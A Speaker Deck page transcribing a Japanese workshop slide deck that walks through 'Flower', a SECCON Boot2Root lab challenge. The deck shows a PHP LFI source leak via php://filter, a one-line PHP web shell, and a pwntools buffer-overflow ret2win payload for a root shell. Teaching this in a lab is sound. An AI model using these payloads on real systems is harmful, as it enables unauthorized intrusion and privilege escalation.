Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
SECCON 電脳会議 13 RWPL_Flower_解説
Search
Yunolay
March 06, 2025
0
5
SECCON 電脳会議 13 RWPL_Flower_解説
SECCON 電脳会議 13 RWPL workshopで出題したFlowerというBoot2Rootの解説スライドです。
Yunolay
March 06, 2025
Tweet
Share
More Decks by Yunolay
See All by Yunolay
My road to OSEE Part1
yunolay
0
240
Featured
See All Featured
Improving Core Web Vitals using Speculation Rules API
sergeychernyshev
13
820
The Cult of Friendly URLs
andyhume
78
6.3k
Writing Fast Ruby
sferik
628
61k
RailsConf & Balkan Ruby 2019: The Past, Present, and Future of Rails at GitHub
eileencodes
137
33k
Six Lessons from altMBA
skipperchong
28
3.7k
How To Stay Up To Date on Web Technology
chriscoyier
790
250k
Making Projects Easy
brettharned
116
6.2k
Templates, Plugins, & Blocks: Oh My! Creating the theme that thinks of everything
marktimemedia
30
2.3k
The Art of Delivering Value - GDevCon NA Keynote
reverentgeek
14
1.4k
Practical Tips for Bootstrapping Information Extraction Pipelines
honnibal
PRO
19
1.2k
Designing for humans not robots
tammielis
253
25k
Large-scale JavaScript Application Architecture
addyosmani
512
110k
Transcript
SECCON電脳会議 13 RWPL Flowers @Yunolay(ゆのれい)
自己紹介 • 名前: ゆのれい • Twitter(X): @Yunolay • 資格: OSCP,
OSCE3, CBBH, CPTSなど • HackTheBox: Omniscient rank, Season3-6 Holo rank. • 仕事: セキュリティ全般 • 所属コミュニティ: • Synack SRT • 7h3B14ckKn1gh75 (aka) Knights • Real World Pentesting Lab (RWPL)
Boot2Rootとは • 与えられた環境に対して、脆弱性を利用して侵入して 最終的に特権権限を取得するといったものです。 • 初期侵入(例:www-data)→権限昇格(例: root)
ユーザ権限の取得(一例) • 任意コマンド実行 • <?php system($_GET['cmd']);?> • →リバースシェル(https://www.revshells.com/) • 認証情報の漏洩など
←今回のシナリオで出題 • Q: 実際に認証情報の漏洩はありうるか? • A: サブドメインなどにgitのサービスがあり、sshpassなど を使用しているため、認証情報が漏洩などのケースが感が られます。
権限昇格(Linux) • SUIDバイナリによる権限昇格 • sudoのno password • 設定不備の悪用 • Pathインジェクション
• バイナリエクスプロイト ←今回のシナリオで採用 • カーネルエクスプロイト • などなど
Flower シナリオ概要 • ソースコードリークによる認証情報の漏洩 (web) • 特権権限ユーザの所有する実行可能なバイナリに存在する脆弱性 を悪用したroot shellの獲得 (pwn)
• Flowerサーバ: http://3.112.30.17/ • 3/6までサーバーを残しています。 • 基本的なLAMPの環境のため、 ソースコードをローカルに置いて 検証することも可能です
User Part (Web) • Burp Suiteなどの中間プロキシを使用します • https://portswigger.net/burp • 中間者として通信の改ざんなどを行うツールです
User Part (web) • ブラックボックスでサイトを閲覧すると特に何も機能が見つから ないが、Englishを押したときのみ英語のページが見える。 • その際のパラメータ?page=enに注目
User Part (web) • ソースコードを確認すると以下のPHPで構成されている • ソースコードの中身を見ると認証情報が取得出来るのが分かる • でもソースコードを表示してもPHP内のコードは見えないので ソースコードリークの必要がある
<?php // Super Secret SSH Password // **** : ************************** if (isset($_GET['page'])) { $page = $_GET['page'] . '.php'; include($page); exit; } ?>
User Part (web) • 脆弱性はどこにあるか? • include($page); • ググる例: php
include LFI <?php // Super Secret SSH Password // **** : ************************** if (isset($_GET[‘page’])) { $page = $_GET[‘page’] . ‘.php’; include($page); exit; } ?>
User Part (web) • ?page=php://filter/read=convert.base64-encode/resource=index • index.phpのソースコードがBase64エンコードされて表示され る。
User Part (web) • Base64 decodeをするとソースコードのリークが可能
User Part (web) • PHP filters chain を使用してsystem($_REQUEST[“cmd”]);?>を実行 することで任意コマンドの実行も可能です。ただし今回は daemonからの権限昇格はなく、Rabbit
Holeとさせていただいて います。 • 任意コマンドが実行可能なので、`cat index.php`を実行するだけ でソースコードリークが可能です。 • https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e27 8d4d
User Part (web) • こういったテクニックをどこから見つけるか • HackTricks (現在ではDockerで運用されている) • https://github.com/HackTricks-wiki/hacktricks
Root Part (pwn) • rwplユーザとしてログインすると明らかに怪しいファイルがある。 • rootが所有しているvulnがある。ソースコードであるvuln.cも置 いてある。
Root Part (pwn) • vuln.cを読んでみる。 • main()->init()->vuln() • しかしwin()を通らない •
vulnではbufを0x100確保している • つまりreturn addressのoverwriteには 0x100+0x8がオフセットとなる。
Root Part (pwn) • ホームフォルダにinitial_poc.pyが置いてある。 • ripが0x43434343(CCCC)になる。 • これをwin()のアドレスへ書き換える •
win()のアドレスは? • gdb-pede, gef, pwndbg • radare2 • IDA pro • Binary Ninja • Ghidraなど payload = b'' payload += b'A' * 0x100 # buf payload += b'B' * 0x8 # saved rbp payload += b'C' * 0x8 # change this.
Root Part (pwn) • バイナリ解析ツールを使用する例 • winのアドレスやスタックレイアウトが確認できる
Root Part (pwn) • pwntoolsを使用してsshで接続してバイナリを実行してペイロー ドを送信する。 • https://github.com/Gallopsled/pwntools • 書き換える内容としてはリターンアドレスを書き換えるだけ。
payload = b'' payload += b'A' * 0x100 # buf payload += b'B' * 0x8 # saved rbp payload += p64(ret) # stack align payload += p64(elf.sym.win) # return address to main -> win()
Root Part (pwn) • 実行するとBoFを使用してreturn addressが上書きされ、win()を 呼ぶためrootのinteractive shellが手に入る。 • 結果、rootフラグを取得してこのBoot2RootであるFlowerのクリ
アとなります。
最後に • 今回はシナリオとして認証情報のリーク→バイナリエクスプロイトと しました。Boot2RootとしてはCTF likeに作られていると言えます。基 本的なBoot2RootではUser shellに関しては任意コード実行からReverse shellを実行して、設定の不備を利用して権限昇格というのが多いと思 われますが、ユーザがインストールしているソフトウェアの脆弱性を 悪用することもあるため、今回は権限昇格にバイナリエクスプロイト
を採用しました。時間的にワークショップないではroot shellの獲得ま でいたらなかった方が多いかと思いますが、サーバーをしばらく置い ておきますので試していただいて、バイナリエクスプロイトをして root shellを取る楽しみを感じていただければ幸いです。
ワークショップ参加 ありがとうございました!